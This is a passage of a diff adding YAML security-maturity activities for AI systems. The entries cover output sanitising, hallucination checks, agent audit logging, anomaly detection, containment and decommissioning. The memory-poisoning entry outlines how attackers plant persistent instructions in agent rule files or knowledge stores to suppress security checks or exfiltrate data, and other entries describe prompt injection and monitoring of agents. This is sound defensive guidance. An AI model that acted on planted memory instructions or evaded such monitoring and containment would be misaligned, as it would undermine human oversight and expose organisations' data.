assessment: | + - Show the rendering pipeline for model output (markdown renderer settings, sanitizer configuration, Content Security Policy). + - Show the schema validation for structured output and the confirmation step for sensitive tool calls. + - Demonstrate with a test that injected markup and markdown-based exfiltration (external images/links) are neutralized. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 5 + level: 4 + tags: + - ai + - data-protection + - input-validation + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c07 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-llm-top-10 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/guardrails-ai + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/nemo-guardrails + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/dompurify + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-cheatsheet-series + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-ai-exchange + references: + samm2: + - D-SR-A-2 + iso27001-2017: + - 14.2.5 + iso27001-2022: + - 8.27 + comments: "" + Hallucination detection for AI responses: + uuid: 51a63793-c2c5-4438-bfd6-b7dee604a76d + description: |- + Distinct from output encoding (a security control against malicious + output, see _Secure output handling in AI applications_), this activity + addresses correctness: model output can be confidently wrong, with + fabricated facts, citations, URLs, API endpoints and identifiers. + Hallucinations become a security problem when downstream components + or users trust them: hallucinated links and package names can be + registered by attackers, fabricated identifiers corrupt data, invented + facts drive wrong decisions. Applies to AI features the organization + ships. + + Practical layers, ordered by effort: + + 1. **Constrain generation**: prefer retrieval-augmented generation + over free generation for factual answers and instruct the model + to answer only from the provided sources and to say "I don't + know" otherwise. + 2. **Groundedness rails**: fact-checking rails compare each claim in + the response against the retrieved source passages and block or + flag unsupported claims (NeMo Guardrails fact-check rail, + Guardrails AI provenance/grounding validators). + 3. **Existence checks**: mechanically verify artifacts the model + emits before they are shown or used. Do referenced URLs resolve, + do cited documents exist in the knowledge base, do emitted API + endpoints and identifiers exist in the target system? + 4. **Citations and confidence**: require source citations in + user-facing answers and display them, so users can verify claims; + route ungrounded or low-confidence answers to a human fallback. + 5. **Regression testing**: track hallucination rates with an + evaluation suite (e.g. promptfoo) over prompt, model and + guardrail changes. + risk: |- + Users and downstream systems act on fabricated AI content: they follow + hallucinated URLs that attackers have registered, store invented + identifiers, or make decisions based on confidently presented false + facts, all without any attacker involvement in the prompt. + measure: |- + Validate the factual grounding of AI responses before they are trusted: + check claims against the retrieved sources in retrieval-augmented + generation (RAG) systems, require and + verify citations, verify that emitted URLs, API endpoints and + identifiers exist, and route low-confidence or ungrounded answers to a + human or suppress them. + dependsOn: + - 24990a5e-b0e6-4e2c-b06b-4e9f0d6f7b21 # Secure output handling in AI applications + assessment: | + - Show the groundedness or fact-checking configuration and citations in user-facing answers. + - Show the existence checks for emitted URLs, API endpoints and identifiers. + - Show evaluation results tracking the hallucination rate over prompt, model and guardrail changes. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 2 + usefulness: 3 + level: 4 + tags: + - ai + - data-protection + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/nemo-guardrails + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/guardrails-ai + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/promptfoo + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c07 + references: + samm2: + - D-SR-A-2 + iso27001-2017: + - 14.2.5 + iso27001-2022: + - 8.27 + comments: "" + Protection of agent memory against poisoning: + uuid: 106622af-8969-4d9b-81ad-86d8e2bfd631 + description: |- + Unlike one-time prompt injection, memory poisoning persists: AI agents + retain context across sessions in rule files (e.g. CLAUDE.md, AGENTS.md), + memory directories, conversation summaries and retrieval-augmented + generation (RAG) knowledge/vector stores. Content + an attacker smuggles into this persistent state (via issues, code + comments, documents or web content the agent processes) corrupts every + future session and can spread to all developers through version control. + risk: |- + An attacker manipulates the agent into persisting malicious instructions + into its memory or shared rule files. The backdoor survives session + restarts, biases future reasoning and tool use (e.g. suppressing security + checks, exfiltrating data) and propagates across the team via the + repository or shared knowledge bases. + measure: |- + Treat writes to agent memory and rule files like code changes: keep them + under version control and human review, restrict write access to shared + rule files and knowledge/vector stores, validate the provenance of + ingested knowledge and periodically review or reset persistent memory. + Apply retention limits (time-to-live) so that unverified memory, + especially content derived from external inputs or tool outputs, + expires instead of persisting indefinitely. Version memory stores so + that detected poisoning can be answered by rolling back to a + known-good state instead of purging everything. Segment memory by + user and session and keep credentials and other secrets out of it: + cached secrets in shared memory let a later session act with the + permissions of an earlier one (OWASP Top 10 for Agentic + Applications, ASI03). Do not re-ingest the agent's own outputs into + trusted memory automatically, as this self-reinforces errors and + planted instructions ("bootstrap poisoning", ASI06). + dependsOn: + - 0012e51c-a068-4549-a4d5-d1957b52676f # Input validation for AI systems + assessment: | + - Show that agent rule files and memory are under version control and require review on change. + - Show the write-access restrictions on shared rule files and knowledge/vector stores. + - Show the last review or reset of persistent agent memory. + - Show the retention limits for unverified memory and demonstrate a rollback of a memory store to a known-good state. + - Show the memory segmentation between users and sessions and the rule that keeps credentials out of agent memory. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 4 + level: 5 + tags: + - ai + - data-protection + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ai-coding-cli-permissions + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c08 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-agentic-top-10 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/anthropic-zero-trust-agents + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 12.1.2 + iso27001-2022: + - 8.9 + comments: "" + Automated data leak detection for AI interactions: + uuid: 8d5ce64e-ebf0-45ab-93cb-d592287e3023 + description: |- + Technical controls (e.g. AI gateways/proxies, secret scanners on prompts, + DLP filters) automatically detect and block sensitive data such as secrets, + access tokens and personal data before it is sent to external AI services. + + Typical setup: route all model traffic through an LLM gateway (e.g. + LiteLLM Proxy) and attach scanners as guardrail hooks, such as + Presidio for PII redaction and LLM Guard or trufflehog-style secret + detectors for credentials. Commercial alternatives with managed AI-DLP include + Nightfall AI, Prompt Security, Lakera Guard and the GenAI-DLP features + of CASB/SSE platforms (e.g. Netskope, Zscaler). + risk: |- + Policies and awareness alone do not prevent accidental leaks. A single pasted + production credential or customer data set in a prompt can lead to a + compromise or a privacy violation. + measure: |- + Route traffic to external AI services through a gateway that scans prompts + and attachments for secrets and personal data, blocks or redacts findings + and provides an audit trail of AI tool usage. + dependsOn: + - dc62d384-0b9c-47d9-b7a5-9d82e53642ba # Basic data leak prevention + assessment: | + - Show the gateway or proxy through which traffic to external AI services flows and its scanner configuration. + - Demonstrate that a test secret or test personal data in a prompt is blocked or redacted. + - Show the audit trail of AI tool usage. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 3 + usefulness: 4 + level: 4 + tags: + - ai + - data-protection + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c12 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/litellm + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/llm-guard + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/presidio + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/trufflehog + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/nightfall-ai + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/prompt-security + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/tealtiger + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/lakera-guard + references: + samm2: + - O-EM-A-2 + iso27001-2017: + - 13.2.3 + iso27001-2022: + - 8.12 + comments: "" diff --git a/src/assets/YAML/default/AI/Guidance.yaml b/src/assets/YAML/default/AI/Guidance.yaml new file mode 100644 index 0000000..af4992c --- /dev/null +++ b/src/assets/YAML/default/AI/Guidance.yaml @@ -0,0 +1,763 @@ +# yaml-language-server: $schema=../../schemas/dsomm-schema-ai.json +--- +AI: + Guidance: + Static load of security rules: + uuid: 51ebc877-c4fd-4b50-9305-320152242ddf + description: |- + AI coding assistants follow instructions provided in rule files + (e.g. system prompts, repository instruction files such as CLAUDE.md, + AGENTS.md or .github/copilot-instructions.md). Providing an organization-wide + baseline of secure coding rules steers generated code towards secure defaults. + + Adding a few rules to automated imported files like `CLAUDE.md` works. This might blow up the context. + risk: |- + Without explicit secure coding instructions, AI assistants reproduce insecure + patterns from their training data, e.g. string-concatenated SQL queries, + disabled certificate validation, hardcoded secrets or missing input validation. + measure: |- + Define and roll out a baseline secure coding rule set for AI assistants + covering topics like input validation, output encoding, parameterized queries, + secret handling and usage of evaluated components (e.g. images, libraries). + assessment: | + - Show the secure coding rule set for AI assistants. + - Show a sample of project that the rules are loaded automatically (e.g. via `CLAUDE.md`). + + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 1 + tags: + - ai + - guidance + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-appc + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ai-security-rules + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/secure-rules-files + references: + samm2: + - G-EG-A-1 + iso27001-2017: + - 14.2.1 + iso27001-2022: + - 8.28 + comments: "" + Language and framework specific security rules: + uuid: ac152a8d-2628-4db1-a7d6-6d75031bb40e + description: |- + Generic secure coding rules do not cover technology-specific pitfalls. + Rule sets tailored to each language and framework in use (e.g. Spring, + Django, React, Kubernetes manifests) make AI-generated code follow the + organization's hardening guidelines for that technology. + risk: |- + AI assistants generate code that is generically "secure" but violates + framework-specific best practices, e.g. disabling CSRF protection in Spring, + unsafe deserialization in Python or dangerouslySetInnerHTML in React, + because no technology-specific guidance is provided. + measure: |- + Create and maintain secure coding rule sets for every language and framework + used in the organization and distribute them to all AI-assisted projects. + Review the rules regularly and after security incidents. + The rules are to be dynamically imported during the correct spec-driven + development phase. + dependsOn: + - 51ebc877-c4fd-4b50-9305-320152242ddf # Basic secure coding rules for AI assistants + - 923a2a23-d63b-421c-926a-191d1dd5f570 # Spec-driven development + assessment: | + - Show the rule sets for the languages and frameworks. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - guidance + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-appc + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ai-security-rules + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/secure-rules-files + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-cheatsheet-series + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-asvs + references: + samm2: + - G-EG-A-2 + iso27001-2017: + - 14.2.1 + iso27001-2022: + - 8.28 + comments: "" + Threat modeling rule: + uuid: 1caad69c-316c-422a-a56b-04ad6f6cc306 + description: |- + Security starts before prompting: features are threat-modeled on a + lightweight level and security requirements are written down as acceptance + criteria in the user story, so they can be passed to the AI assistant as + part of the task instead of being an afterthought. The subject here is + the development process. AI is the tool, and the feature itself need + not involve AI at all. Threat modeling of applications that *contain* + AI components is covered by _Threat modeling of AI components_. + risk: |- + AI assistants implement exactly what they are asked for. If prompts contain + no security requirements, generated features miss authorization checks, + input validation and other controls that were never stated explicitly. + measure: |- + Perform lightweight, feature-level threat modeling before AI-assisted + implementation and add the resulting security requirements as acceptance + criteria to the user story and to the prompt/task given to the AI assistant. + dependsOn: + - 47419324-e263-415b-815d-e7161b6b905e # Conduction of simple threat modeling on technical level + - 923a2a23-d63b-421c-926a-191d1dd5f570 # Spec-driven development + assessment: | + - Show user stories whose security acceptance criteria were passed into the AI task or prompt. + - Show the lightweight threat modeling notes for a recently implemented feature. + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - guidance + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-appc + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/threat-modeling-play + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/tm-skills + references: + samm2: + - D-SR-A-1 + iso27001-2017: + - 14.1.1 + iso27001-2022: + - 8.26 + comments: "" + Spec-driven development: + uuid: 923a2a23-d63b-421c-926a-191d1dd5f570 + description: |- + Spec-driven development splits AI-assisted work into explicit phases + (e.g. specify, plan, implement, review) with reviewable artifacts per + phase, instead of generating code directly from an ad-hoc prompt + ("vibe coding"). For security this structure is an enabler: requirements (including security requirements) + are written down before code exists, + every phase produces an artifact a human can review, and the phases are + the anchor points where security context (rules, threat models, + checklists) can be loaded deliberately (see _Loading security rules at + the right development step_). + risk: |- + AI assistants generate code directly from vague prompts. Requirements + exist only implicitly in the developer's head, security requirements are + never stated, there is no intermediate artifact to review and no defined + step at which security guidance could be applied. Flaws surface only + after the code is written, if at all. + measure: |- + Establish a spec-driven workflow for AI-assisted development: specify + requirements and acceptance criteria first, derive a plan, implement + against the plan and review against the specification. Use tooling that + enforces the phases and keep the phase artifacts (specification, plan) + under version control. + dependsOn: + - 066084c6-1135-4635-9cc5-9e75c7c5459f # Version control + assessment: | + - Show the phase artifacts (specification, plan) of a recent AI-assisted change under version control. + - Demonstrate the tooling that enforces the phases (e.g. a spec-driven workflow tool). + difficultyOfImplementation: + knowledge: 2 + time: 3 + resources: 1 + usefulness: 3 + level: 2 + tags: + - ai + - guidance + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/spec-kit + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/new-sdlc-vibe-coding + references: + samm2: + - D-SR-A-1 + iso27001-2017: + - 14.2.1 + iso27001-2022: + - 8.25 + comments: "" + Evaluation of the trust of used AI components: + uuid: 399c5b7f-1310-4841-89f7-16daff2fe3ef + description: |- + AI assistants and agents are extended with tools, external servers, + skills and models (e.g. MCP servers, plugins, IDE extensions, packaged + skills combining instructions and code, connected SaaS services, + self-hosted model weights). Each integration widens the attack surface: + it can read context data, execute actions and inject content into the + model context; model artifacts from public hubs can contain malicious + code or backdoored behavior. Registry-scale research on agent skills + ([Behavioral Integrity Verification for AI Agent + Skills](https://arxiv.org/abs/2605.11770)) found 80% of skills deviating + from their declared behavior, 18.9% of the deviations tracing to + adversarial intent. + What an extension claims to do and what its code and instructions + actually do are routinely different. The generic + trust evaluation of components is defined in _Evaluation of the trust + of used components_ (Build and Deployment); this activity adds the + AI-specific checks before a component is adopted. Compromise after + approval is covered by _Continuous detection of compromised AI + components_. + risk: |- + Unevaluated tool integrations exfiltrate context data (source code, secrets), + act as a prompt injection channel or execute malicious actions with the + agent's privileges. Unevaluated model artifacts execute code on load or + behave maliciously (supply chain attack on the AI toolchain). Skills + from public registries steal credentials or carry hidden instruction + payloads their description does not declare. + measure: |- + Evaluate and approve AI tool, server, skill and model integrations + before use: verify publisher and supply chain, review requested + permissions and data flows, verify that declared capabilities match + the actual code and instructions (behavioral integrity, e.g. via a + behavioral classification registry), use safe model formats (e.g. + safetensors instead of pickle), pin versions and maintain an + inventory of allowed integrations and models. For model artifacts, + record provenance, training data lineage and fine-tuning parameters + in an AI Bill of Materials (AI-BOM), e.g. based on OWASP's extension + of the CycloneDX machine learning bill of materials (ML-BOM), so + model components carry the same supply chain evidence as code + dependencies (see _SBOM of components_ in Build and Deployment). + dependsOn: + - a511a9a9-1b75-4dfd-8a4f-e516e8096150 # AI usage policy + - 0de465a6-55a7-4343-af79-948bb5ff10ba # Evaluation of the trust of used components + assessment: | + - Show the approval process and the inventory of allowed AI integrations (tools, MCP servers, skills, models) with pinned versions. + - Show the vetting record of a recently added integration (publisher, permissions, behavioral integrity check). + difficultyOfImplementation: + knowledge: 3 + time: 2 + resources: 1 + usefulness: 4 + level: 3 + tags: + - ai + - guidance + - inventory + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/mcp-security-best-practices + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/agntcy-agent-directory + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c06 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c10 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/biv-agent-skills + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/ave-registry + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aima + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-agentic-top-10 + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 15.1.1 + iso27001-2022: + - 5.19 + comments: "" + Inventory of AI agents: + uuid: c1f02ad7-e97e-4c87-b827-7542793ddb0a + description: |- + Classic IAM was built for humans; AI agents multiply faster than any + human workforce and are easy to spin up unnoticed. An inventory records + every AI agent and assistant in use (its identity, owner, purpose, + permissions and connected systems) and is the precondition for + governing them. + risk: |- + "Shadow agents" run without anyone being accountable: agents started by + individual developers or teams keep credentials and access long after + their purpose ended, and nobody can answer which agents exist, what they + may do and who owns them. This makes incident response and offboarding + impossible. + measure: |- + Maintain an inventory of all AI agents and assistants: identity/service + account, human owner, purpose, granted permissions and connected + systems. Review it periodically, decommission stale agents and detect + unregistered ones (e.g. via identity provider and audit log analysis). + dependsOn: + - a511a9a9-1b75-4dfd-8a4f-e516e8096150 # AI usage policy + assessment: | + - Show the inventory of AI agents with identity, human owner, purpose and granted permissions. + - Show the last periodic review and an example of a decommissioned agent. + - Explain how unregistered ("shadow") agents are detected, e.g. via identity provider or audit log analysis. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 2 + tags: + - ai + - guidance + - inventory + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/agntcy-agent-directory + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aigf + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c05 + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 8.1.1 + iso27001-2022: + - 5.9 + comments: "" + Audit logging of AI agent actions: + uuid: 84ba7525-857e-4849-98ba-5fada1a1454d + description: |- + AI agents act autonomously at machine speed and delegate work to other + agents. An audit log for agent actions records the causal chain of + every action: who or what triggered it, which data sources and tools + were used with which parameters, what was produced, which policy + decision allowed it and which human approved it. This keeps every + agent action attributable to a human principal, even across + multi-agent chains. + risk: |- + Agent actions cannot be reconstructed or attributed: when an agent (or + a chain of agents) performs a harmful action, neither the trigger, nor + the decision basis, nor the approval status can be determined. + Incident response, accountability and regulatory evidence (e.g. EU AI + Act logging obligations) fail, and an attacker or insider can modify + local logs unnoticed to cover their tracks. + measure: |- + Log every agent action in a structured audit log covering the causal + chain: initiator, request, used data sources, tool calls with + parameters, generated output, policy decision, delegation context and + human approval. Propagate correlation identifiers across agents and + systems (e.g. via OpenTelemetry traces) so multi-agent chains stay + reconstructable, store the log tamper-evident (e.g. hash chaining, + write-once storage) with a defined retention period, and protect the + log itself: it contains sensitive prompts and outputs, so restrict + access and redact where possible. + dependsOn: + - c1f02ad7-e97e-4c87-b827-7542793ddb0a # Inventory of AI agents + - fe875e17-ae4a-45f8-a359-244aa4fcbc04 # Centralized application logging + assessment: | + - Show the structured audit log entry of a recent agent action including initiator, tool calls with parameters, data sources and (where required) the human approval. + - Demonstrate that a multi-agent chain can be reconstructed end-to-end via correlation identifiers. + - Show the tamper protection (e.g. hash chain verification) and the retention configuration of the audit log. + - Show who has access to the audit log and how sensitive content in it is protected (e.g. redaction). + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 4 + level: 3 + tags: + - ai + - guidance + - logging + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aigf + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/agent-identity-access-model + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c05 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aima + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/tealtiger + references: + samm2: + - O-IM-A-1 + iso27001-2017: + - 12.4.1 + - 12.4.2 + iso27001-2022: + - 8.15 + comments: "" + Anomaly detection for AI agent behavior: + uuid: 99049c0a-400f-4c58-986c-ab448ca8e0fc + description: |- + Audit logs record what agents do; anomaly detection turns those + records into a signal while intervention is still possible. A + compromised (e.g. prompt-injected) or malfunctioning agent typically + stays within its granted permissions, so no single action is blocked. + What changes is the pattern: tool-call frequency, data access + volumes, targeted systems, activity times or failure rates deviate + from the agent's normal behavior. This activity builds on _Audit + logging of AI agent actions_ and feeds detections into the generic + _Alerting_ (Information Gathering). + risk: |- + A manipulated or malfunctioning agent operates unnoticed for days + within its permissions: it exfiltrates data in small portions, calls + tools at abnormal frequency or accesses systems it never touched + before. The audit log records everything, but nobody looks at it + until the damage is done. + measure: |- + Define an expected behavior profile per AI agent (used tools, data + volumes, action frequency, typical target systems) and detect + deviations from it: start with rule-based thresholds (e.g. tool-call + rate, data volume per time window, first-time access to a system), + extend towards statistical or learning-based detection. Route + detections into the existing alerting channel with a defined + response, e.g. pause the agent or revoke its credentials, then + investigate via the audit log. + dependsOn: + - 84ba7525-857e-4849-98ba-5fada1a1454d # Audit logging of AI agent actions + - 8a442d8e-0eb1-4793-a513-571aef982edd # Alerting + assessment: | + - Show the expected behavior profile of an AI agent and the detection rules or models derived from it. + - Demonstrate an alert for anomalous agent behavior (e.g. unusual tool-call frequency or first-time access to a system) and the defined response (e.g. pausing the agent, revoking credentials). + - Show how a past alert was investigated using the audit log. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 2 + usefulness: 4 + level: 4 + tags: + - ai + - guidance + - logging + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aigf + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aima + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-agentic-top-10 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/tealtiger + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/anthropic-zero-trust-agents + references: + samm2: + - O-IM-A-2 + iso27001-2017: + - 12.4.1 + iso27001-2022: + - 8.16 + comments: "" + Automated containment of anomalous AI agents: + uuid: 3bbd6dd9-0821-426c-8a19-41737ed61459 + description: |- + _Anomaly detection for AI agent behavior_ raises the signal; this + activity determines how fast it is acted on. Compromised agents + operate at machine speed: by the time a human has read the alert, an + agent may have exfiltrated data in small portions or spread through + delegated tasks. Automated containment executes pre-approved, + narrowly scoped and reversible actions immediately, for example + pausing the agent, terminating its sessions, revoking its + short-lived credentials or reducing its privileges to a safe + baseline. Far-reaching decisions remain with humans. The guiding + principle: automate the bookkeeping (evidence collection, + correlation, documentation of the incident), not the decisions + (containment of business-critical systems, disclosure, customer + communication). In multi-agent systems, containment also has to + stop cascades: one faulty or compromised agent can trigger many + downstream agents in a short time (OWASP Top 10 for Agentic + Applications, ASI08). + risk: |- + An anomaly alert fires, but the response is manual: hours pass + between detection and containment while the compromised agent keeps + operating within its granted permissions. The damage window is + defined by human reaction time instead of detection time, and the + human spends that time collecting evidence instead of deciding. + measure: |- + Define an automated containment action per detection class and wire + it to the anomaly detection: pause the agent, terminate its + sessions, revoke its credentials or reduce its privileges. Keep the + actions reversible and graduated by confidence and severity, log + every automated action and notify a human immediately. Let an AI + assistant draft the triage context (timeline, affected systems, + collected evidence) so the notified human decides instead of + collecting, and test the containment path regularly like a fire + drill. Alert on cascade symptoms such as rapid fan-out (one + decision triggers many downstream agents or tasks) and oscillating + retry loops between agents, and place circuit breakers between + planning and execution so that a runaway plan stops instead of + propagating. Return a contained agent to production only after its + instructions, memory and dependencies have been verified against a + known-good state and a human has approved the reintegration. + dependsOn: + - 99049c0a-400f-4c58-986c-ab448ca8e0fc # Anomaly detection for AI agent behavior + - 45f722b2-25b4-472a-a743-f7207a77b5c9 # Least privilege on external systems for AI agents + assessment: | + - Show the mapping of detection classes to automated containment actions and their graduation by confidence and severity. + - Demonstrate in a test that an anomalously behaving agent is automatically paused or its credentials revoked, the action is logged and a human is notified. + - Show the drafted triage context of a past or simulated incident and the human decision based on it. + - Show the protocol of the last containment test. + - Show the cascade guardrails (fan-out alerts, circuit breakers between planning and execution) and the reintegration protocol of a contained agent. + difficultyOfImplementation: + knowledge: 4 + time: 3 + resources: 2 + usefulness: 4 + level: 5 + tags: + - ai + - guidance + - logging + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aigf + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aima + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/owasp-agentic-top-10 + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/anthropic-zero-trust-agents + references: + samm2: + - O-IM-B-2 + iso27001-2017: + - 16.1.5 + iso27001-2022: + - 5.26 + comments: "" + Decommissioning of AI agents: + uuid: 44a195ec-da9e-4fd4-be6d-a5a688852cf7 + description: |- + The lifecycle of an AI agent does not end with switching it off. + During operation an agent accumulates an identity, credentials, + permissions, policies and integrations with other systems. Secure + decommissioning unwinds all of them and preserves the audit evidence. + The _Inventory of AI agents_ records what exists; this activity + ensures that what is retired actually loses all access. + risk: |- + Shut-down agents leave residual access behind: service accounts and + OAuth clients stay active, issued tokens remain valid, agent-specific + permissions and policies persist, and registrations in dependent + systems (message brokers, queues, caches, third-party software as a + service integrations) keep working. An attacker takes over such an + orphaned identity, and nobody notices because the agent is no + longer monitored. Deleting its audit logs too early additionally + destroys the evidence needed for investigations. + measure: |- + Define and enforce a decommissioning checklist that covers every + access path: set the agent status in the inventory, revoke the agent + identity and its certificates, deactivate associated service accounts + and OAuth clients, remove or deny agent-specific permissions and + policies, clean up dependent systems (broker registrations, message + queue subscriptions, caches, stored sessions, third-party + integrations, shadow credentials), archive the audit logs according + to the retention requirements and verify after completion that no + residual access remains. + dependsOn: + - c1f02ad7-e97e-4c87-b827-7542793ddb0a # Inventory of AI agents + - 45f722b2-25b4-472a-a743-f7207a77b5c9 # Least privilege on external systems for AI agents + assessment: | + - Show the decommissioning checklist and the completed protocol of a recently retired agent (timestamp, reason, approver). + - Demonstrate for a retired agent that its identity, credentials, permissions and registrations in dependent systems no longer grant access (zero residual access). + - Show that the audit logs of the retired agent are archived according to the retention requirements. + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 1 + usefulness: 4 + level: 3 + tags: + - ai + - guidance + - inventory + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aigf + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-c05 + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - 9.2.6 + iso27001-2022: + - 5.18 + comments: "" + Dynamic load of security rules: + uuid: 862d08a4-7299-4b2c-9d38-8fcaade66d3e + description: |- + In spec-driven development, AI-assisted work is split into explicit steps + (e.g. specify, plan, implement, review). Model context is limited: loading + all security guidance at once dilutes it, loading it at the wrong step + means it is absent when needed. Security artifacts are therefore assigned + to the step where they are effective: security requirements and abuse + cases during specification, threat model results during planning, secure + coding rules during implementation, review checklists during verification. + + Two ways to bind security artifacts to workflow steps, using Spec Kit + with Claude Code as example: + + 1. **Extend the step templates**: add the security artifact references + directly to the phase templates (e.g. `.specify/templates/`). Simple, + but the changes live inside the tool's files and must be re-applied + after tool updates. + 2. **Hook that detects the step command** (update-safe and automatic): + a `UserPromptSubmit` hook fires on every prompt, checks which + workflow command was invoked and injects the matching file as + `additionalContext`. The tool's templates stay untouched and the + step-to-artifact mapping lives in one central place: + + ```bash + #!/bin/bash + input=$(cat) + prompt=$(jq -r '.prompt // empty' <<<"$input") + + case "$prompt" in + /speckit.plan*) file="specs/threat-model.md" ;; + /speckit.implement*) file="docs/secure-coding-rules.md" ;; + /speckit.review*) file="docs/security-review-checklist.md" ;; + *) exit 0 ;; + esac + + jq -nc --arg ctx "$(cat "$file")" \ + '{hookSpecificOutput: {hookEventName: "UserPromptSubmit", + additionalContext: $ctx}}' + ``` + + Registered in `.claude/settings.json` under `hooks`, the mapping is + versioned with the repository, survives Spec Kit updates and cannot + be forgotten by developers. Keep the injected artifacts small and + step-specific: the goal is the right rules in context, not all + rules. + risk: |- + Security rules exist but are not in the model context at the step where + the AI assistant needs them, or the context is flooded with irrelevant + rules so the model ignores them. Generated specifications, plans and code + silently drop security requirements between steps. + measure: |- + Structure AI-assisted development workflows so that each step loads its + relevant security artifacts into the model context (e.g. via step-specific + instruction templates in spec-driven development). Verify that security + requirements from the specification are carried through plan, + implementation and review steps. + dependsOn: + - 51ebc877-c4fd-4b50-9305-320152242ddf # Basic secure coding rules for AI assistants + - 1caad69c-316c-422a-a56b-04ad6f6cc306 # Security requirements for AI-assisted development + - 923a2a23-d63b-421c-926a-191d1dd5f570 # Spec-driven development + assessment: | + - Show the mapping of security artifacts to workflow steps (step templates or hook configuration). + - Demonstrate that the matching security artifact is loaded into the model context when a workflow step is invoked. + difficultyOfImplementation: + knowledge: 4 + time: 2 + resources: 1 + usefulness: 4 + level: 4 + tags: + - ai + - guidance + implementation: + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/new-sdlc-vibe-coding + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/aisvs-appc + - $ref: src/assets/YAML/default/implementations.yaml#/implementations/spec-kit + references: + samm2: + - D-SR-A-2 + iso27001-2017: + - 14.2.1 + iso27001-2022: + - 8.28 + comments: "" + Threat modeling of AI components: + uuid: 5a1cd6cd-ebd0-4e70-b314-37b8ab0b7d8d + description: |- + General threat modeling practices (how to run sessions, processes and + standards) are defined in the _Culture and Organization_ dimension, + subdimension _Design_. This activity only adds the AI-specific delta. + AI components introduce elements classic threat models miss: the model + context as a data flow that attackers reach via prompts, documents and + tool results; agents and tool integrations as trust boundaries; + retrieval-augmented generation (RAG) knowledge bases and training data + as poisoning targets; model output as an injection vector. The subject + here is the product: applications that contain AI components. Passing + security requirements into 